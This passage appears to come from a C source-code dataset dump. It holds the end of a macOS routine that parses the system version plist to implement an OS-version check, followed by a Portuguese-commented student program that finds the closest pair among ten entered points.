return;
/* Dynamically allocated stuff. */
CFDictionaryRef PListRef = NULL;
CFDataRef FileContentsRef = NULL;
UInt8 *PListBuf = NULL;
fseek(PropertyList, 0, SEEK_END);
long PListFileSize = ftell(PropertyList);
if (PListFileSize < 0)
goto Fail;
rewind(PropertyList);
PListBuf = malloc((size_t)PListFileSize);
if (!PListBuf)
goto Fail;
size_t NumRead = fread(PListBuf, 1, (size_t)PListFileSize, PropertyList);
if (NumRead != (size_t)PListFileSize)
goto Fail;
/* Get the file buffer into CF's format. We pass in a null allocator here *
* because we free PListBuf ourselves */
FileContentsRef = (*CFDataCreateWithBytesNoCopyFunc)(
NULL, PListBuf, (CFIndex)NumRead, AllocatorNull);
if (!FileContentsRef)
goto Fail;
if (CFPropertyListCreateWithDataFunc)
PListRef = (*CFPropertyListCreateWithDataFunc)(
NULL, FileContentsRef, CF_PROPERTY_LIST_IMMUTABLE, NULL, NULL);
else
PListRef = (*CFPropertyListCreateFromXMLDataFunc)(
NULL, FileContentsRef, CF_PROPERTY_LIST_IMMUTABLE, NULL);
if (!PListRef)
goto Fail;
CFStringRef ProductVersion = (*CFStringCreateWithCStringNoCopyFunc)(
NULL, "ProductVersion", CF_STRING_ENCODING_ASCII, AllocatorNull);
if (!ProductVersion)
goto Fail;
CFTypeRef OpaqueValue = (*CFDictionaryGetValueFunc)(PListRef, ProductVersion);
(*CFReleaseFunc)(ProductVersion);
if (!OpaqueValue ||
(*CFGetTypeIDFunc)(OpaqueValue) != (*CFStringGetTypeIDFunc)())
goto Fail;
char VersionStr[32];
if (!(*CFStringGetCStringFunc)((CFStringRef)OpaqueValue, VersionStr,
sizeof(VersionStr), CF_STRING_ENCODING_UTF8))
goto Fail;
sscanf(VersionStr, "%d.%d.%d", &GlobalMajor, &GlobalMinor, &GlobalSubminor);
Fail:
if (PListRef)
(*CFReleaseFunc)(PListRef);
if (FileContentsRef)
(*CFReleaseFunc)(FileContentsRef);
free(PListBuf);
fclose(PropertyList);
}
int32_t __isOSVersionAtLeast(int32_t Major, int32_t Minor, int32_t Subminor) {
/* Populate the global version variables, if they haven't already. */
dispatch_once_f(&DispatchOnceCounter, NULL, parseSystemVersionPList);
if (Major < GlobalMajor)
return 1;
if (Major > GlobalMajor)
return 0;
if (Minor < GlobalMinor)
return 1;
if (Minor > GlobalMinor)
return 0;
return Subminor <= GlobalSubminor;
}
#else
/* Silence an empty translation unit warning. */
typedef int unused;
#endif
|
the_stack_data/28261791.c | #include <stdio.h>
#include <math.h>
/*Este programa declara uma estrutura para representar um ponto no plano cartesiano e
calcula as menores distâncias entre os pontos.*/
struct p
{
float x;
float y;
};
typedef struct p ponto;
int main() {
ponto seq[10]; // Criar primeiro a variável. Não confundir a definição de tipo com a declaração da variável.
int i, j, menor1, menor2;
float dist, menor = 99999;
for(i = 0; i < 10; i++) {
printf("Digite as coordenadas do %do. ponto: ", i+1);
scanf("%f %f", &seq[i].x, &seq[i].y);
}
for (i = 0; i < 10; i++) {
printf("(%.2f, %.2f)\n", seq[i].x, seq[i].y);
}
for (i = 0; i < 9; i++) {
for(j= i+ 1; j< 10; j++) {
dist = sqrt(pow(seq[i].x - seq[j].x, 2) + pow(seq[i].y - seq[j].y, 2));
//printf("dist (%d, %d) = %f\n", i, j, dist);
if (dist < menor) {
menor = dist;
menor1 = i;
menor2 = j;
}
}
}
printf("Pontos mais próximos são: %d, %d que estão nas coordenadas (%.2f,%.2f) e (%.2f,%.2f), e a distância entre eles é %.2f\n", menor1, menor2, seq[menor1].x, seq[menor1].y, seq[menor2].x, seq[menor2].y, menor);
return 0;
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.